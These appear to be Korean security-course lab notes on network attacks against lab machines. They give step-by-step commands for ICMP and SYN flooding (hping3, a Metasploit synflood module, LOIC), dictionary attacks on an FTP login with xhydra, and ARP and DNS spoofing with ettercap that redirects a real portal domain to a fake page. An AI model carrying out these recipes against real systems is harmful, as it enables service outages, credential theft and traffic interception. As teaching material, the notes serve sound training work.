Smurf Attack은 의도 된 희생자의 스푸핑 된 소스 IP를 가진 다수의 ICMP(인터넷 제어 메시지 프로토콜)

 

패킷이 IP 브로드 캐스트 주소를 사용하여 컴퓨터 네트워크로 브로드 캐스팅되는

 

DDoS (Distributed Denial-of-Service) 공격입니다.

 

 

 

DoS(Denial of Service) Attack Types

Flood Attack

Software Attack

 

(1) Flood Attack

TCP SYN Flood

공격자 IP를 spoofing 하고 half-open TCP 연결을 시도하여 상대 호스트의 Listening Queue를 고갈 시키는 공격 방법.

UDP Flood Attack

UDP Body에 Garbage Data를 Padding 하여 공격하는 방법.

ICMP Smurfing Attack

ICMP 프로토콜과 IP Broadcast 주소를 이용한 공격 방법. (트래픽 부하량)

ICMP Flood Attack

패킷을 보낼 때 큰 데이터를 붙혀서 보내는 공격 방법.

 

(2) Software Attack

Ping of Deathping

명령어를 이용하여 ICMP 패킷을 비 정상적으로 크게 만들어 공격하는 방법. (운용체제가 버틸수 있을만큼의 양을 설정하여 보안)

TearDrop

패킷을 겹치거나 또는 일정한 간격의 빠지게 전송하는 공격 방법.(주로 동일한 offset을 사용)

 

 

 

다른 방식으로 DoS/DDoS 구분하는 방법

Volume Based Attack

UDP Flood, ICMP Flood, Spoofed packet-based flood

-> (목적) 피해 시스템(타겟 시스템의 대역폭(Bandwidth)을 소진한다.)

Protocol Attack

SYN Flood, Ping of Death, Smurf, Teardrop, Fragemented packet 등

-> (목적)

Application Layer Attack

Session Exhaustion

 

 

 

 

[참고] ICMP LAND(Local Area Network Denial) Attack

툴을 제작해 보자.

 

예 (윈도우) c:\> ping 10.0.0.1 -t -1 50000 (c:\> ping /?)

Win -> Linux

Windows Server(공격자) 모니터링

부하량 점검 : 작업관리자 -> 네트워킹

 

Linux server(피해자) 모니터링

gnome-system-monitor &

 

ping -t 192.168.20.200 결과

 

 

 

 

부하량 없다

 

 

ping -t 192.168.20.200 -l 60000 결과

 

 

1%정도 차지한다.

 

ping -t 192.168.20.200 -l 60000 를 100개

 

예 (리눅스) # ping -s 50000 10.0.0.1 (# man ping)

 

# ping.sh 192.168.20.200 (KaliLinux내에 프로그램을 만든다.)

<CTRL + C> # pkill <program>

* 기능(ping -s 60000 <Target's IP>)

* 테스트(KaliLinux -> linux200/window2008)

 

 

네트워크 이용률 확인

#ping 192.168.20.201 -s 10000 결과

보내는측 초당 10 Kib 받는측 0.01%

 

 

#ping 192.168.20.201 -s 60000 결과

보내는측 초당 60 Kib 받는측 0.09%

빠른 타임 인터벌 사용 부하량을 줄 수 있다.

 

 

 

hping3 명령어의 수행결과와 비교한다.

[참고] hping3을이용한ICMP_Land_Attack.hwp

 

 hping3 명령어를 사용한 ICMP LAND Attack

 

 

 

 

ICMP LAND Attack(ICMP DoS Attack) 사용하기

 

 

 

 

ICMP LAND Attack(ICMP DoS Attack)

 

 

■ 사용시스템

- win2008 (Victim System)

- Kali Linux (Attack System)

 

 

 

(window2008 서버)

 

c:\> ipconfig

 

<CTRL + SHIFT + ESC> => 성능탭 => 리소스모니터

 

wireshark 실행 시킨다.

 

 

 

 

(Kali Linux)

 

# gnome-system-monitor &

 

타겟 시스템을 확인한다.

# hping3 -S 192.168.20.201 -p 80 -c 3

 

# hping3 -1 192.168.20.201 --flood -p 80 -d 20

-> (windows2008) 서버에서 wireshark 내용을 확인

 

 

 

# hping3 -1 192.168.20.201 --flood -p 80 -d 10000 결과 (65495 MAX)

 

 

 

 

# hping3 -1 192.168.20.201 --flood -p 80 -d 65495

-> data size를 늘려서 공격한다.

-1 --icmp ICMP mode

--flood sent packets as fast as possible. Don't show replies

-e --sign add 'signature'

-p --destport [+][+]<port> destination port(default 0) ctrl+z inc/dec

-d --data data size (default is 0)

 

 

(windows2008)

 

네트워크 통화량을 확인한다.

인터넷을 해본다.(약간 느린 느낌이 들것이다.)

 

(주의) 공격자 시스템에도 부하량이 걸린다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

[참고] TCP Syn Flooding 공격.hwp

 

TCP Syn Flooding 공격

 

 

 

 

 

(KaliLinux)

 

# wireshark &

 

# netstat -antp | grep :5432 (# nmap localhost)

-> postgresql 서비스 동작 중인지 점검

 

# service postgresql start

# msfconsole /* 약간 시간이 걸린다(10초 정도) */ 공격용 툴

 

없다

 

 

 

msf > show -h

msf > show auxiliary

msf > search synflood 모의해킹용 코드중 synflood 가있는지 검색

 

  auxiliary/dos/tcp/synflood

msf > use auxiliary/dos/tcp/synflood
msf auxiliary(synflood) >

 

msf auxiliary(synflood) > set RHOST 192.168.20.200

msf auxiliary(synflood) > show options

 

 

msf auxiliary(synflood) > run (msf auxiliary(synflood) > exploit)

hping -S --flood 192.168.20.200 -p 80

 

 

 

 

 

Linux 웹 페이지 부하량 으로 인한 접속 불가

 

(KaliLinux)

msf auxiliary(synflood) > exploit   [*] SYN flooding 192.168.20.200:80... ^C[-] Auxiliary interrupted by the console user <---- <CTRL + C> [*] Auxiliary module execution completed

 

웹 접속이 다시 가능하다.

 

 

 

 

 

 

   

 

[참고] UDP Flooding 공격

[참고] UDP Flooding 공격

loic 툴 사용(http://sourceforge.net/projects/loic/)

windows2008 설치해서 테스트한다.(.NET Framwork 존재해야 한다.)

 

 

 

 

[참고] OS내에서DoS.hwp

 

 운영체제 내에서 부하량을 주는 방법(로컬 DoS)

 

 

 

[참고] ShoWin툴을사용하여보안코딩이해하기.hwp

 

 

ShoWin 툴을 사용하여 보안 코딩에 대한 이론을 배운다.

 

- 알FTP(예전프로그램) 사용해 보기

- 알드라이브(현재프로그램) 사용해 보기

- window2008 서버를 사용한다.

- www.naver.com (www.daum.net) 사용해 보기

- [참고] Yasca program (http://www.scovetta.com/yasca.html)

 

 

 

[참고] Brutus Attack.hwp

 

 툴을 통해 무작위대입공격 또는 사전파일대입공격에 대해 이론을 배운다.

- Brutus Attack(무작위 대입 공격)

- Dictionary Attack(사전 파일 대입 공격)

 

 

 

Brutus Attack & Dictionary Attack

 

 

 

사용 프로그램

- brutus-aet2 프로그램 사용 <-- 오래되서 안됨

- xhydra 툴 사용

 

사용 시스템

 

- window 2008 (Hacker 시스템)

- KaliLinux (Hacker 시스템)

- linux200 (FTP 서버)

 

 

(linux200)

 

vsftpd 서비스 start

# chkconfig vsftpd on

# service vsftpd restart

 

user01 사용자 정보 확인

# grep user01 /etc/passwd

user01 사용자 존재 유무 확인

 

# passwd user01

-> 암호는 user01

 

 

 

(window2008)

c:\> arp -d 192.168.20.200

 

brutus-aet2 프로그램을 설치

 

users.txt/words.txt

 

[참고] 사전 파일 만드는 방법

인터넷상에서 받은 사전 파일 : a.txt

직접 생성한 사전 파일 : b.txt

# cat a.txt b.txt > c.txt

# cat a.txt b.txt | sort -u > c.txt

 

 

(KaliLinux)로 실행

xhydra 실행

# xhydra &

OPTIONS

Show Attempts 체크 (어떤 실행을 하는지 보는것)

 

 

 

사전파일 생성

# cd
# cat > words.txt
soldesk
securityhacker
admin
user01
<CTRL + D>

 

/root/world.tx

 

 

 

 

 

(linux200)

 

 

# gnome-system-log &

#tail -f /var/log/secure (실패 확인)
#lastb (ssh 로 실패했는지 확인)

#tail -f /var/log/messages (특별한것 없음)

 

 

Brutus Attack & Dictionary Attack

 

 

  ---------------------------------------------

사용 프로그램

- xhydra 툴 사용

사용 시스템

- kalilinux (Hacker 시스템)

- linux200 (FTP 서버)

(linux200)

vsftpd 서비스 start

# chkconfig vsftpd on

# service vsftpd restart

user01 사용자 정보 확인

# grep user01 /etc/passwd

user01 사용자 존재 유무 확인

# passwd user01

-> 암호는 user01

(window2008) win 대신 Kali로 실행

xhydra 실행

# xhydra &

(linux200)

# gnome-system-log &

-> /var/log/secure

 

  -------------------------------------

 

 

 

 

 

 

[참고] Ettercap 사용한 Kari Linux에서 Packet Sniffing 하기.hwp

  [참고] Kari Linux에서 Packet Sniffing 작업하기

Packet Sniffing 감청, 평문화 데이터 가로채기

 

Ettercap 사용한 Kali Linux에서 Packet Sniffing 하기

 

 

 

용어:

- Packet Sniffing

- Packet Capture

 

 

사용시스템

- Kali Linux(Attacker)

- linux200(FTP 서버: vsftpd) 192.168.20.200

- win2008 (FTP 클라이언트: ftp CMD) 192.168.20.201

 

 

(Kali Linux)

Ethernet Switch 환경에서 패킷을 스니핑하기 위해서는 arp spoofing 과정을 선수적으로 사용한다.

ettercap 툴(arpspoof CMD)을 사용하여 arp spoofing 과정을 수행한다.

 

# wireshark -> eth1 대기

 

■ Ettercap 실행하는 방법

# ettercap -G

or

Kali Linux > Sniffing/Spoofing > Network Sniffers > Ettercap-graphic

eth1 내부망

 

 

wireshark 툴을 실행한다.

 

# ettercap -G &

Sniff > Unified sniffing > eth1

 

Hosts > Scan fo hosts

Hosts > Host list

 

192.168.20.200 > Add to Target1

192.168.20.201 > Add to Target2

 

Mitm > Arp poisoning > Sniff remote connection

 

Start > start sniffing

 

 

 

 

(win2008)

 

c:> ftp 192.168.20.200

root 사용자로 로그인

 

ftp> ls

ftp> quit

 

 

 

(Kali Linux)

wireshark의 캡쳐된 패킷을 분석한다.

-> (Display filter : ftp)

 

 

 

 

 

telnet 으로 실습

 

 

 

 

[참고] ARP Spoofing

(이전 작업)

(ㄱ) Net Scanning : # nmap 192.168.10.0/24

(ㄴ) IP Forwarding : # echo 1 > /proc/sys/net/ipv4/ip_forward

(ㄷ) ARP Spoofing : # arpspoof -i eth1 -t 192.168.20.200 192.168.20.201

(현재 작업)

# ettercap -G &

 

 

 

 

 

 

[참고] DNS Spoofing.hwp

  [참고] Kari Linux에서 DNS Spoofing 수행하기

 

 

 

 

DNS Spoofing

 

 

 

사용시스템

- windows 2008(웹클라이언트) : 192.168.20.201

- Kali Linux : 192.168.20.50

- firewall (방화벽/라우터): 192.168.20.100

 

 

DNS Spoofing을 하기 위한 기능

(ㄱ) Arp spoofing + IP forwarding

(ㄴ) Fake WEB

(ㄷ) Fake DNS (DNS Spoofing)

 

 

DNS Spoofing 동작원리

   

DNS 서버와 공격자의 DNS정보가 PC에 전달되는 과정에서

공격자의 DNS정보가 먼저 전달되어 뒤에 오는 실제 DNS서버의 정보는 버려진다

 

 

 

(Kali Linux)

 

DNS Spoofing을 하기 위한 기능

(ㄱ) Arp spoofing + IP forwarding

(ㄴ) Fake WEB

(ㄷ) Fake DNS (DNS Spoofing)

 

1. 웹서버 설정

 

CentOS) /etc/httpd/conf/httpd.conf

/var/www/html/index.html

# service httpd restart

Debian) /etc/apache2/apache2.conf

/var/www/html/index.html

# service apache2 restart

 

# cd /etc/apache2

# ls

apache2.conf

 

KaliLinux 1.X) # cd /var/www

KaliLinux 2.X) # cd /var/www/html

 

# cd /var/www/html

# ls

index.html

 

# echo "Fake Web Site" > /var/www/html/index.html

 

# service apache2 restart

# pgrep -lf apache (# service apache2 status)

 

# firefox http://192.168.20.50 &

 

 

 

 

DNS Spoofing을 하기 위한 기능

(ㄱ) Arp spoofing + IP forwarding

(ㄴ) Fake WEB

(ㄷ) Fake DNS (DNS Spoofing)

 

2. ARP Spoofing & dns_spoof plugin load

 

# cd /etc/ettercap

# ls

etter.conf   etter.dns   etter.mdns   etter.nbns

 

# vi etter.dns

(Fake DNS Site 의 정보를 담는다)

..... (중략) ..... ############################################### # one day we will have our ettercap.org domain #   www.ettercap.org           A   127.0.0.1 www.ettercap-project.org   A   127.0.0.1 ettercap.sourceforge.net   A   216.136.171.201 www.ettercap.org           PTR ::1   ############################################### # (1) Sfecific Configuration # - DNS Spoofing Test www.daum.net            A         192.168.20.50 *.daum.net              A         192.168.20.50 www.daum.net            PTR       192.168.20.50   ############################################### # some MX examples #   alor.org         MX    127.0.0.1 naga.org         MX    127.0.0.1 example.org      MX    127.0.0.2 microsoft.com    MX 2001:db8::1ce:c01d:bee3 ..... (중략) .....

 

- (주의) ettercap 툴을 완전히 종료한 후 다시 실행하고 설정을 한다.

ettercap 툴이 변경된 /etc/ettercap/etter.dns 파일을 다시 읽어 들이도록 한다.

 

 

 

 

 

 

 

# ettercap -G

 

Sniff > Unfied sniffing > eth1

 

Hosts > Scan for host

Hosts > Host list

 

192.168.20.100 선택 -> Add to Target 1

192.168.20.201 선택 -> Add to Target 2

 

Mitm > Arp poisoning > Optional parameter

Sniff remote connection

 

Plugins > Manage the plugins > dns_spoof 더블클릭

Start > Start sniffing

 

 

 

(window2008)

c:> ipconfig /flushdns

c:> arp -d

 

http://www.daum.net

-> 192.168.20.50 내용이 보인다.

 

 

 

 

 

 

[참고] SNMP 취약점에 대해서 배워 보자.hwp

snmp의 취약점을 이용한 공격기법과 대응방안 [gusxodnjs].pdf

 

[참고] SNMP 취약점에 대해서 알아보자.

 

 

   SNMP 취약점에 대해서

 

 

 

 

 

[정리]

[정리]
TCP/IP 모듈
■ TCP/IP Model
---------------------------
Application Layer(DNS, HTTP, SNMP, SMTP, ...)
   -> DNS spoofing, DHCP spoofing, ... + dictionary attack
---------------------------
Transport Layer(TCP/UDP)  -> TCP Syn Flooding, UDP Flooding
---------------------------
Internet Layer(ICMP/IGMP, IP(IPv4/IPv6), ARP/RARP) -> ARP Spoofing, IP Spoofing, hping3 CMD
---------------------------
Network Interface Layer(Ethernet)
---------------------------
Network Interface Layer
eth스위치,허브 등을 사용/ 전송하는 단위는 eth프레임/eth방식: CSMA/CD 제어/UTP케이블100base-T
L3 스위치 -> L2 스위치 기능 포함
Internet Layer
IP4 헤더/subnetmask/VLSM
IP Spoofing (A,B ->trusted host)
ICMP 헤더/hping3 CMD
TCP/UDP특성정보,헤더,포트번호